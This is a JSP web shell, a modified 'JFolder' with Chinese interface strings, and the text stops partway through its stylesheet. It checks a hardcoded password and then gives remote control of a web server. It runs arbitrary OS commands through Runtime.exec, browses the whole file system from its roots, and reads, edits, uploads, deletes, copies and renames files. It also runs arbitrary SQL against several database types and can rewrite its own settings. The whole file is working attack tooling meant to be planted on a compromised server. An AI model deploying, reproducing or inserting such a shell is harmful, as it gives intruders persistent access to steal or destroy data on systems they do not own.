<%@ page contentType="text/html; charset=utf8" %>
<%@ page import="java.io.*"%>
<%@ page import="java.util.Map"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.nio.charset.Charset"%>
<%@ page import="java.util.regex.*"%>
<%@ page import="java.sql.*"%>
<%!
private String _password = "520520";
private String _encodeType = "utf8";
private int _sessionOutTime = 20;
private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"};
private Connection _dbConnection = null;
private Statement _dbStatement = null;
private String _url = null;

public boolean validate(String password) {
  if (password.equals(_password)) {
    return true;
  } else {
    return false;
  }
}

public String HTMLEncode(String str) {
  str = str.replaceAll(" ", "&nbsp;");
  str = str.replaceAll("<", "&lt;");
  str = str.replaceAll(">", "&gt;");
  str = str.replaceAll("\r\n", "<br>");
  
  return str;
}

public String Unicode2GB(String str) {
  String sRet = null;
  
  try {
    sRet = new String(str.getBytes("ISO8859_1"), _encodeType);
  } catch (Exception e) {
    sRet = str;
  }
  
  return sRet;
}

public String exeCmd(String cmd) {
  Runtime runtime = Runtime.getRuntime();
  Process proc = null;
  String retStr = "";
  InputStreamReader insReader = null;
  char[] tmpBuffer = new char[1024];
  int nRet = 0;
  
  try {
    proc = runtime.exec(cmd);
    insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));
    
    while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
      retStr += new String(tmpBuffer, 0, nRet);
    }
    
    insReader.close();
    retStr = HTMLEncode(retStr);
  } catch (Exception e) {
    retStr = "<font color=\"red\">bad command \"" + cmd + "\"</font>";
  } finally {
    return retStr;
  }
}

public String pathConvert(String path) {
  String sRet = path.replace('\\', '/');
  File file = new File(path);
  
  if (file.getParent() != null) {
    if (file.isDirectory()) {
      if (! sRet.endsWith("/"))
        sRet += "/";
    }
  } else {
    if (! sRet.endsWith("/"))
      sRet += "/";  
  }
  
  return sRet;
}

public String strCut(String str, int len) {
  String sRet;
  
  len -= 3;
  
  if (str.getBytes().length <= len) {
    sRet = str;
  } else {
    try {
      sRet = (new String(str.getBytes(), 0, len, "utf8")) + "...";
    } catch (Exception e) {
      sRet = str;
    }
  }
  
  return sRet;
}

public String listFiles(String path, String curUri) {
  File[] files = null;
  File curFile = null;
  String sRet = null;
  int n = 0;
  boolean isRoot = path.equals("");
  
  path = pathConvert(path);
  
  try {
    if (isRoot) {
      files = File.listRoots();
    } else {
      try {
        curFile = new File(path);
        String[] sFiles = curFile.list();
        files = new File[sFiles.length];
          
        for (n = 0; n < sFiles.length; n ++) {
          files[n] = new File(path + sFiles[n]);
        }
      } catch (Exception e) {
        sRet = "<font color=\"red\">bad path \"" + path + "\"</font>";
      }
    }
    
    if (sRet == null) {
      sRet = "\n";
      sRet += "<script language=\"javascript\">\n";
      sRet += "var selectedFile = null;\n";
      sRet += "<!--\n";
      sRet += "function createFolder() {\n";
      sRet += " var folderName = prompt(\"请输入目录名\", \"\");\n";
      sRet += " if (folderName != null && folderName != false && ltrim(folderName) != \"\") {\n";
      sRet += "   window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFolder&folderName=\" + folderName + \"" + "\";\n";
      sRet += " }\n";
      sRet += "}\n";
      sRet += "\n";
      sRet += "function createFile() {\n";
      sRet += " var fileName = prompt(\"请输入文件名\", \"\");\n";
      sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
      sRet += "   window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFile&fileName=\" + fileName + \"" + "\";\n";
      sRet += " }\n";
      sRet += "}\n";
      sRet += "\n";
      sRet += "function selectFile(obj) {\n";
      sRet += " if (selectedFile != null)\n";
      sRet += "   selectedFile.style.backgroundColor = \"#FFFFFF\";\n";
      sRet += " selectedFile = obj;\n";
      sRet += " obj.style.backgroundColor = \"#CCCCCC\";\n";
      sRet += "}\n";
      sRet += "\n";
      sRet += "function change(obj) {\n";
      sRet += " if (selectedFile != obj)\n";
      sRet += "   obj.style.backgroundColor = \"#CCCCCC\";\n";
      sRet += "}\n";
      sRet += "\n";
      sRet += "function restore(obj) {\n";
      sRet += " if (selectedFile != obj)\n";
      sRet += "   obj.style.backgroundColor = \"#FFFFFF\";\n";
      sRet += "}\n";
      sRet += "\n";
      sRet += "function showUpload() {\n";
      sRet += " up.style.visibility = \"visible\";\n";
      sRet += "}\n";
      sRet += "\n";
      sRet += "function copyFile() {\n";
      sRet += " var toPath = prompt(\"请输入要复制到的目录(绝对路径)\", \"\");\n";
      sRet += " if (toPath != null && toPath != false && ltrim(toPath) != \"\") {\n";
      sRet += "   document.fileList.action = \"" + curUri + "&curPath=" + path + "&fsAction=copyto&dstPath=" + "\" + toPath;\n";
      sRet += "   document.fileList.submit();\n";
      sRet += " }\n";
      sRet += "}\n";
      sRet += "\n";
      sRet += "function rename() {\n";
      sRet += " var count = 0;\n";
      sRet += " var selected = -1;\n";
      sRet += " for (var i = 0; i < document.fileList.filesDelete.length; i ++) {\n";
      sRet += "   if (document.fileList.filesDelete[i].checked) {\n";
      sRet += "     count ++;\n";
      sRet += "     selected = i;\n";
      sRet += "   }\n";
      sRet += " }\n";
      sRet += " if (count > 1)\n";
      sRet += "   alert(\"不能重命名多个文件\");\n";
      sRet += " else if (selected == -1)\n";
      sRet += "   alert(\"没有选中要重命名的文件\");\n";
      sRet += " else {\n";
      sRet += "   var newName = prompt(\"请输入新文件名\", \"\");\n";
      sRet += "   if (newName != null && newName != false && ltrim(newName) != \"\") {\n";
      sRet += "     window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=rename&newName=\" + newName + \"&fileRename=\" + document.fileList.filesDelete[selected].value;";
      sRet += "   }\n";
      sRet += " }\n";
      sRet += "}\n";
      sRet += "\n";
      sRet += "//-->\n";
      sRet += "</script>\n";
      sRet += "<table width=\"100%\" border=\"0\" cellpadding=\"2\" cellpadding=\"1\">\n";
      sRet += " <form enctype=\"multipart/form-data\" method=\"post\" name=\"upload\" action=\"" + curUri + "&curPath=" + path + "&fsAction=upload" + "\">\n";
      
      if (curFile != null) {
        sRet += " <tr>\n";
        sRet += "   <td colspan=\"4\" valign=\"middle\">\n";
        sRet += "     &nbsp;<a href=\"" + curUri + "&curPath=" + (curFile.getParent() == null ? "" : pathConvert(curFile.getParent())) + "\">上级目录</a>&nbsp;";
        sRet += "<a href=\"#\" onclick=\"javascript:createFolder()\">创建目录</a>&nbsp;";
        sRet += "<a href=\"#\" onclick=\"javascript:createFile()\">新建文件</a>&nbsp;";
        sRet += "<a href=\"#\" onclick=\"javascript:document.fileList.submit();\">删除</a>&nbsp;";
        sRet += "<a href=\"#\" onclick=\"javascript:copyFile()\">复制</a>&nbsp;";
        sRet += "<a href=\"#\" onclick=\"javascript:rename()\">重命名</a>&nbsp;";
        sRet += "<a href=\"#\" onclick=\"javascript:showUpload()\">上传文件</a>\n";
        sRet += "<span style=\"visibility: hidden\" id=\"up\"><input type=\"file\" value=\"上传\" name=\"upFile\" size=\"8\" class=\"textbox\" />&nbsp;<input type=\"submit\" value=\"上传\" class=\"button\"></span>\n";
        sRet += "   </td>\n";
        sRet += " </tr>\n";
      }
      
      sRet += "</form>\n";
      
      sRet += " <form name=\"fileList\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=deleteFile" + "\">\n";
      
      for (n = 0; n < files.length; n ++) {
        sRet += " <tr onclick=\"javascript: selectFile(this)\" onmouseover=\"javascript: change(this)\" onmouseout=\"javascript: restore(this)\" style=\"cursor:hand;\">\n";
        
        if (! isRoot) {
          sRet += "   <td width=\"5%\" align=\"center\"><input type=\"checkbox\" name=\"filesDelete\" value=\"" + pathConvert(files[n].getPath()) + "\" /></td>\n";
          if (files[n].isDirectory()) {
            sRet += "   <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\">&lt;" + strCut(files[n].getName(), 50) + "&gt;</a></td>\n";
          } else {
            sRet += "   <td><a title=\"" + files[n].getName() + "\">" + strCut(files[n].getName(), 50) + "</a></td>\n";
          }
          
          sRet += "   <td width=\"15%\" align=\"center\">" + (files[n].isDirectory() ? "&lt;dir&gt;" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<<a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "&fsAction=open" + "\">edit</a>>" : "") + "</td>\n";
          sRet += "   <td width=\"15%\" align=\"center\">" + files[n].length() + "</td>\n";
        } else {
          sRet += "   <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\">" + pathConvert(files[n].getPath()) + "</a></td>\n";
        }
  
        sRet += " </tr>\n";
      }
      sRet += " </form>\n";
      sRet += "</table>\n";
    }
  } catch (SecurityException e) {
    sRet = "<font color=\"red\">security violation, no privilege.</font>";
  }
  
  return sRet;
}

public boolean isTextFile(String extName) {
  int i;
  boolean bRet = false;
  
  if (! extName.equals("")) {
    for (i = 0; i < _textFileTypes.length; i ++) {
      if (extName.equals(_textFileTypes[i])) {
        bRet = true;
        break;
      }
    }
  } else {
    bRet = true;
  }
  
  return bRet;
}

public String getExtName(String fileName) {
  String sRet = "";
  int nLastDotPos;
  
  fileName = pathConvert(fileName);
  
  nLastDotPos = fileName.lastIndexOf(".");
  
  if (nLastDotPos == -1) {
    sRet = "";
  } else {
    sRet = fileName.substring(nLastDotPos + 1);
  }
  
  return sRet;
}

public String browseFile(String path) {
  String sRet = "";
  File file = null;
  FileReader fileReader = null;
  
  path = pathConvert(path);
  
  try {
    file = new File(path);
    fileReader = new FileReader(file);
    String fileString = "";
    char[] chBuffer = new char[1024];
    int ret;
    
    sRet = "<script language=\"javascript\">\n";
    
    while ((ret = fileReader.read(chBuffer, 0, 1024)) != -1) {
      fileString += new String(chBuffer, 0, ret);
    }
    
    sRet += "var wnd = window.open(\"about:blank\", \"_blank\", \"width=600, height=500\");\n";
    sRet += "var doc = wnd.document;\n";
    sRet += "doc.write(\"" + "aaa" + "\");\n";
    
    sRet += "</script>\n";
    
  } catch (IOException e) {
    sRet += "<script language=\"javascript\">\n";
    sRet += "alert(\"打开文件" + path + "失败\");\n";
    sRet += "</script>\n";
  }
  
  return sRet;
}

public String openFile(String path, String curUri) {
  String sRet = "";
  boolean canOpen = false;
  int nLastDotPos = path.lastIndexOf(".");
  String extName = "";
  String fileString = null;
  File curFile = null;
  
  path = pathConvert(path);
  
  if (nLastDotPos == -1) {
    canOpen = true;
  } else {
    extName = path.substring(nLastDotPos + 1);
    canOpen = isTextFile(extName);
  }
  
  if (canOpen) {
    try {
      fileString = "";
      curFile = new File(path);
      FileReader fileReader = new FileReader(curFile);
      char[] chBuffer = new char[1024];
      int nRet;
      
      while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) {
        fileString += new String(chBuffer, 0, nRet);
      }
      
      fileReader.close();
    } catch (IOException e) {
      fileString = null;
      sRet = "<font color=\"red\">不能打开文件\"" + path + "\"</font>";
    } catch (SecurityException e) {
      fileString = null;
      sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>";
    }
  } else {
    sRet = "<font color=\"red\">file \"" + path + "\" is not a text file, can't be opened in text mode</font>";
  }
  
  if (fileString != null) {
    sRet += "<script language=\"javascript\">";
    sRet += "<!--\n";
    sRet += "function saveAs() {\n";
    sRet += " var fileName = prompt(\"请输入文件名\", \"\");\n";
    sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
    sRet += "   document.openfile.action=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\" + fileName + \"&fsAction=saveAs\";\n";
    sRet += "   document.openfile.submit();\n";
    sRet += " }\n";
    sRet += "}\n";
    sRet += "//-->\n";
    sRet += "</script>\n";
    sRet += "<table align=\"center\" width=\"100%\" cellpadding=\"2\" cellspacing=\"1\">\n";
    sRet += " <form name=\"openfile\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=save" + "\">\n";
    sRet += " <tr>\n";
    sRet += "   <td>[<a href=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\">上级目录</a>]</td>\n";
    sRet += " </tr>\n";
    sRet += " <tr>\n";
    sRet += "   <td align=\"center\">\n";
    sRet += "     <textarea name=\"fileContent\" cols=\"80\" rows=\"32\">\n";
    sRet += fileString;
    sRet += "     </textarea>\n";
    sRet += "   </td>\n";
    sRet += " </tr>\n";
    sRet += " <tr>\n";
    sRet += "   <td align=\"center\"><input type=\"submit\" class=\"button\" value=\"保存\" />&nbsp;<input type=\"button\" class=\"button\" value=\"另存为\" onclick=\"javascript:saveAs()\" /></td>\n";
    sRet += " </tr>\n";
    sRet += " </form>\n";
    sRet += "</table>\n";
  }
  
  return sRet;
}

public String saveFile(String path, String curUri, String fileContent) {
  String sRet = "";
  File file = null;
  
  path = pathConvert(path);
  
  try {
    file = new File(path);
    
    if (! file.canWrite()) {
      sRet = "<font color=\"red\">文件不可写</font>";
    } else {
      FileWriter fileWriter = new FileWriter(file);
      fileWriter.write(fileContent);
      
      fileWriter.close();
      sRet = "文件保存成功，正在返回，请稍候……\n";
      sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />\n"; 
    }
  } catch (IOException e) {
    sRet = "<font color=\"red\">保存文件失败</font>";
  } catch (SecurityException e) {
    sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>";
  }
  
  return sRet;
}

public String createFolder(String path, String curUri, String folderName) {
  String sRet = "";
  File folder = null;
  
  path = pathConvert(path);
  
  try {
    folder = new File(path + folderName);
    
    if (folder.exists() && folder.isDirectory()) {
      sRet = "<font color=\"red\">\"" + path + folderName + "\"目录已经存在</font>";
    } else {
      if (folder.mkdir()) {
        sRet = "成功创建目录\"" + pathConvert(folder.getPath()) + "\"，正在返回，请稍候……\n";
          sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + folderName + "\" />";
      } else {
        sRet = "<font color=\"red\">创建目录\"" + folderName + "\"失败</font>";
      }
    }
  } catch (SecurityException e) {
    sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>";
  }
  
  return sRet;
}

public String createFile(String path, String curUri, String fileName) {
  String sRet = "";
  File file = null;
  
  path = pathConvert(path);
  
  try {
    file = new File(path + fileName);
    
    if (file.createNewFile()) {
      sRet = "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + fileName + "&fsAction=open" + "\" />";
    } else {
      sRet = "<font color=\"red\">\"" + path + fileName + "\"文件已经存在</font>";
    }
  } catch (SecurityException e) {
    sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>";
  } catch (IOException e) {
    sRet = "<font color=\"red\">创建文件\"" + path + fileName + "\"失败</font>";
  }
  
  return sRet;
} 

public String deleteFile(String path, String curUri, String[] files2Delete) {
  String sRet = "";
  File tmpFile = null;
  
  try {
    for (int i = 0; i < files2Delete.length; i ++) {
      tmpFile = new File(files2Delete[i]);
      if (! tmpFile.delete()) {
        sRet += "<font color=\"red\">删除\"" + files2Delete[i] + "\"失败</font><br>\n";
      }
    }
    
    if (sRet.equals("")) {
      sRet = "删除成功，正在返回，请稍候……\n";
      sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
    }
  } catch (SecurityException e) {
    sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>\n";
  }
  
  return sRet;
}

public String saveAs(String path, String curUri, String fileContent) {
  String sRet = "";
  File file = null;
  FileWriter fileWriter = null;
  
  try {
    file = new File(path);
    
    if (file.createNewFile()) {
      fileWriter = new FileWriter(file);
      fileWriter.write(fileContent);
      fileWriter.close();
      
      sRet = "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />";
    } else {
      sRet = "<font color=\"red\">文件\"" + path + "\"已经存在</font>";
    }
  } catch (IOException e) {
    sRet = "<font color=\"red\">创建文件\"" + path + "\"失败</font>";
  } 
  
  return sRet;
}


public String uploadFile(ServletRequest request, String path, String curUri) {
  String sRet = "";
  File file = null;
  InputStream in = null;
  
  path = pathConvert(path);
  
  try {
    in = request.getInputStream();
    
    byte[] inBytes = new byte[request.getContentLength()];
    int nBytes;
    int start = 0;
    int end = 0;
    int size = 1024;
    String token = null;
    String filePath = null;

    //
    // 把输入流读入一个字节数组
    //
    while ((nBytes = in.read(inBytes, start, size)) != -1) {
      start += nBytes;
    }
    
    in.close();
    //
    // 从字节数组中得到文件分隔符号
    //
    int i = 0;
    byte[] seperator;
    
    while (inBytes[i] != 13) {
      i ++;
    }
    
    seperator =  new byte[i];
  
    for (i = 0; i < seperator.length; i ++) {
      seperator[i] = inBytes[i];
    }
    
    //
    // 得到Header部分
    //
    String dataHeader = null;
    i += 3;
    start = i;
    while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) {
      i ++;
    }
    end = i - 1;
    dataHeader = new String(inBytes, start, end - start + 1);
    
    //
    // 得到文件名
    //
    token = "filename=\"";
    start = dataHeader.indexOf(token) + token.length();
    token = "\"";
    end = dataHeader.indexOf(token, start) - 1;
    filePath = dataHeader.substring(start, end + 1);
    filePath =  pathConvert(filePath);
    String fileName = filePath.substring(filePath.lastIndexOf("/") + 1);
    
    //
    // 得到文件内容开始位置
    //  
    i += 4;
    start = i;
    
    /*
    boolean found = true;   
    byte[] tmp = new byte[seperator.length];
    while (i <= inBytes.length - 1 - seperator.length) {
    
      for (int j = i; j < i + seperator.length; j ++) { 
        if (seperator[j - i] != inBytes[j]) {
          found = false;
          break;
        } else
          tmp[j - i] = inBytes[j];
      }
      
      if (found)
        break;
      
      i ++;
    }*/
    
    //
    // 偷懒的办法
    //
    end = inBytes.length - 1 - 2 - seperator.length - 2 - 2;
    
    //
    // 保存为文件
    //
    File newFile = new File(path + fileName);
    newFile.createNewFile();
    FileOutputStream out = new FileOutputStream(newFile);
    
    //out.write(inBytes, start, end - start + 1);
    out.write(inBytes, start, end - start + 1);
    out.close();
    
    sRet = "<script language=\"javascript\">\n";
    sRet += "alert(\"文件上传成功" + fileName + "\");\n";
    sRet += "</script>\n";
  } catch (IOException e) {
    sRet = "<script language=\"javascript\">\n";
    sRet += "alert(\"文件上传失败\");\n";
    sRet += "</script>\n";
  }
  
  sRet += "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "\" />";
  return sRet;
}

public boolean fileCopy(String srcPath, String dstPath) {
  boolean bRet = true;
  
  try {
    FileInputStream in = new FileInputStream(new File(srcPath));
    FileOutputStream out = new FileOutputStream(new File(dstPath));
    byte[] buffer = new byte[1024];
    int nBytes;
    

    while ((nBytes = in.read(buffer, 0, 1024)) != -1) {
      out.write(buffer, 0, nBytes);
    }
    
    in.close();
    out.close();
  } catch (IOException e) {
    bRet = false;
  } 
  
  return bRet;
}

public String getFileNameByPath(String path) {
  String sRet = "";
  
  path = pathConvert(path);
  
  if (path.lastIndexOf("/") != -1) {
    sRet = path.substring(path.lastIndexOf("/") + 1);
  } else {
    sRet = path;
  }
  
  return sRet;
}

public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) {
  String sRet = "";
  int i;
  
  path = pathConvert(path);
  dstPath = pathConvert(dstPath);
  
  for (i = 0; i < files2Copy.length; i ++) {
    if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) {
      sRet += "<font color=\"red\">文件\"" + files2Copy[i] + "\"复制失败</font><br/>";
    }
  }
  
  if (sRet.equals("")) {
    sRet = "文件复制成功，正在返回，请稍候……";
    sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
  }
  
  return sRet;
}

public boolean isFileName(String fileName) {
  boolean bRet = false;
  
  Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$");
  Matcher m = p.matcher(fileName);
  
  bRet = m.matches();
  
  return bRet;
}

public String renameFile(String path, String curUri, String file2Rename, String newName) {
  String sRet = "";
  
  path = pathConvert(path);
  file2Rename = pathConvert(file2Rename);
  
  try {
    File file = new File(file2Rename);
    
    newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName;
    File newFile = new File(newName);
    
    if (! file.exists()) {
      sRet = "<font color=\"red\">文件\"" + file2Rename + "\"不存在</font>";
    } else {
      file.renameTo(newFile);
      sRet = "文件重命名成功，正在返回，请稍候……";
      sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
    }
  } catch (SecurityException e) {
    sRet = "<font color=\"red\">安全问题导致文件\"" + file2Rename + "\"复制失败</font>";
  }
  
  return sRet;
}

public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) {
  boolean bRet = true;
  String driverName = "";
  
  if (dbServer.equals(""))
    dbServer = "localhost";
  
  try {
    if (dbType.equals("sqlserver")) {
      driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
      if (dbPort.equals(""))
        dbPort = "1433";
      _url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
    } else if (dbType.equals("mysql")) {
      driverName = "com.mysql.jdbc.Driver";
      if (dbPort.equals(""))
        dbPort = "3306";
      _url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
    } else if (dbType.equals("odbc")) {
      driverName = "sun.jdbc.odbc.JdbcOdbcDriver";
      _url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword;
    } else if (dbType.equals("oracle")) {
      driverName = "oracle.jdbc.driver.OracleDriver";
      _url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName;
    } else if (dbType.equals("db2")) {
      driverName = "com.ibm.db2.jdbc.app.DB2Driver";
      _url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName;
    }
    
    Class.forName(driverName);
  } catch (ClassNotFoundException e) {
    bRet = false;
  }
  
  return bRet;
}

public boolean DBConnect(String User, String Password) {
  boolean bRet = false;
  
  if (_url != null) {
    try {
      _dbConnection = DriverManager.getConnection(_url, User, Password);
      _dbStatement = _dbConnection.createStatement();
      bRet = true; 
    } catch (SQLException e) {
      bRet = false;
    } 
  } 
  
  return bRet;
}

public String DBExecute(String sql) {
  String sRet = "";
  
  if (_dbConnection == null || _dbStatement == null) {
    sRet = "<font color=\"red\">数据库没有正常连接</font>";
  } else {
    try {
      if (sql.toLowerCase().substring(0, 6).equals("select")) {
        ResultSet rs = _dbStatement.executeQuery(sql);
        ResultSetMetaData rsmd = rs.getMetaData();
        int colNum = rsmd.getColumnCount();
        int colType;
        
        sRet = "sql语句执行成功，返回结果<br>\n";
        sRet += "<table align=\"center\" border=\"0\" bgcolor=\"#CCCCCC\" cellpadding=\"2\" cellspacing=\"1\">\n";
        sRet += "    <tr bgcolor=\"#FFFFFF\">\n";
        for (int i = 1; i <= colNum; i ++) {
          sRet += "        <th>" + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")</th>\n";
        }
        sRet += "    </tr>\n";
        while (rs.next()) {
          sRet += " <tr bgcolor=\"#FFFFFF\">\n";
          for (int i = 1; i <= colNum; i ++) {
            colType = rsmd.getColumnType(i);
            
            sRet += "   <td>";
            switch (colType) {
              case Types.BIGINT:
              sRet += rs.getLong(i);
              break;
              
              case Types.BIT:
              sRet += rs.getBoolean(i);
              break;
              
              case Types.BOOLEAN:
              sRet += rs.getBoolean(i);
              break;
              
              case Types.CHAR:
              sRet += rs.getString(i);
              break;
              
              case Types.DATE:
              sRet += rs.getDate(i).toString();
              break;
              
              case Types.DECIMAL:
              sRet += rs.getDouble(i);
              break;
              
              case Types.NUMERIC:
              sRet += rs.getDouble(i);
              break;
              
              case Types.REAL:
              sRet += rs.getDouble(i);
              break;
              
              case Types.DOUBLE:
              sRet += rs.getDouble(i);
              break;
              
              case Types.FLOAT:
              sRet += rs.getFloat(i);
              break;
              
              case Types.INTEGER:
              sRet += rs.getInt(i);
              break;
              
              case Types.TINYINT:
              sRet += rs.getShort(i);
              break;
              
              case Types.VARCHAR:
              sRet += rs.getString(i);
              break;
              
              case Types.TIME:
              sRet += rs.getTime(i).toString();
              break;
              
              case Types.DATALINK:
              sRet += rs.getTimestamp(i).toString();
              break;
            }
            sRet += "   </td>\n";
          }
          sRet += " </tr>\n"; 
        }       
        sRet += "</table>\n";
        
        rs.close();
      } else {
        if (_dbStatement.execute(sql)) {
          sRet = "sql语句执行成功";
        } else {
          sRet = "<font color=\"red\">sql语句执行失败</font>";
        }
      }
    } catch (SQLException e) {
      sRet = "<font color=\"red\">sql语句执行失败</font>";
    }
  }
  
  return sRet;
}

public void DBRelease() {
  try {
    if (_dbStatement != null) {
      _dbStatement.close();
      _dbStatement = null;
    }
    
    if (_dbConnection != null) {
      _dbConnection.close();
      _dbConnection = null;
    }
  } catch (SQLException e) {
  
  }
}

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////

class JshellConfig {
  private String _jshellContent = null;
  private String _path = null;

  public JshellConfig(String path) throws JshellConfigException {
    _path = path;
    read();
  }
  
  private void read() throws JshellConfigException {
    try {
      FileReader jshell = new FileReader(new File(_path));
      char[] buffer = new char[1024];
      int nChars;
      _jshellContent = "";
      
      while ((nChars = jshell.read(buffer, 0, 1024)) != -1) {
        _jshellContent += new String(buffer, 0, nChars);
      }
      
      jshell.close();
    } catch (IOException e) {
      throw new JshellConfigException("打开文件失败");
    }
  }
  
  public void save() throws JshellConfigException {
    FileWriter jshell = null;
  
    try {
      jshell = new FileWriter(new File(_path));
      char[] buffer = _jshellContent.toCharArray();
      int start = 0;
      int size = 1024;
      
      for (start = 0; start < buffer.length - 1 - size; start += size) {
        jshell.write(buffer, start, size);
      }
      
      jshell.write(buffer, start, buffer.length - 1 - start);
    } catch (IOException e) {
      new JshellConfigException("写文件失败");
    } finally {
      try {
        jshell.close();
      } catch (IOException e) {
      
      }
    }
  }
  
  public void setPassword(String password) throws JshellConfigException {
    Pattern p = Pattern.compile("\\w+");
    Matcher m = p.matcher(password);
    
    if (! m.matches()) {
      throw new JshellConfigException("密码不能有除字母数字下划线以外的字符");
    }
    
    p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\"");
    m = p.matcher(_jshellContent);
    if (! m.find()) {
      throw new JshellConfigException("程序体已经被非法修改");
    }
    
    _jshellContent = m.replaceAll("private String _password = \"" + password + "\"");
    
    //return HTMLEncode(_jshellContent);
  }
  
  public void setEncodeType(String encodeType) throws JshellConfigException {
    Pattern p = Pattern.compile("[A-Za-z0-9]+");
    Matcher m = p.matcher(encodeType);
    
    if (! m.matches()) {
      throw new JshellConfigException("编码格式只能是字母和数字的组合");
    }
    
    p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\"");
    m = p.matcher(_jshellContent);
    
    if (! m.find()) {
      throw new JshellConfigException("程序体已经被非法修改");
    }
    
    _jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\"");
    //return HTMLEncode(_jshellContent);
  }
  
  public void setSessionTime(String sessionTime) throws JshellConfigException {
    Pattern p = Pattern.compile("\\d+");
    Matcher m = p.matcher(sessionTime);
    
    if (! m.matches()) {
      throw new JshellConfigException("session超时时间只能填数字");
    }
    
    p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime);
    m = p.matcher(_jshellContent);
    
    if (! m.find()) {
      throw new JshellConfigException("程序体已经被非法修改");
    }
    
    _jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime);
    //return HTMLEncode(_jshellContent);
  }
  
  public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException {
    Pattern p = Pattern.compile("\\w+");
    Matcher m = null;
    int i;
    String fileTypes = "";
    String tmpFileTypes = "";
    
    for (i = 0; i < textFileTypes.length; i ++) {
      m = p.matcher(textFileTypes[i]);
      
      if (! m.matches()) {
        throw new JshellConfigException("扩展名只能是字母数字和下划线的组合");
      }
      
      if (i != textFileTypes.length - 1)
        fileTypes += "\"" + textFileTypes[i] + "\"" + ", ";
      else
        fileTypes += "\"" + textFileTypes[i] + "\"";
    }
    
    for (i = 0; i < _textFileTypes.length; i ++) {
      if (i != _textFileTypes.length - 1)
        tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", ";
      else
        tmpFileTypes += "\"" + _textFileTypes[i] + "\"";
    }
    
    p = Pattern.compile(tmpFileTypes);
    m = p.matcher(_jshellContent);
    
    if (! m.find()) {
      throw new JshellConfigException("程序文件已经被非法修改");
    }
    
    _jshellContent = m.replaceAll(fileTypes);
    
    //return HTMLEncode(_jshellContent);
  }
  
  public String getContent() {
    return HTMLEncode(_jshellContent);
  }
}

class JshellConfigException extends Exception {
  public JshellConfigException(String message) {
    super(message);
  }
}
%>
<html>
<head>
<title>JFolder 华夏猪头三修改版</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<style>
body {
  font-size: 14px;
  font-family: 宋体;
  background-color: #CCCCCC;
}
td {
  font-size: 14px;
  font-family: 宋体;
}

input.textbox {
  border: black solid 1;
  font-size: 12px;
  height: 18px;
}

input.button {
  font-size: 12px;
  font-family: 宋体;
  border: black solid 1;
}

td.datarows {
  font-size: 14px;
  font-family: 宋体;
  height: 25px;
}

textarea {
border: black solid 1;
}
.inputLogin {font-size: 9pt;border:1px solid lightgrey;background-color: lightgrey;}
.table1 {BORDER:gray 0px ridge;}
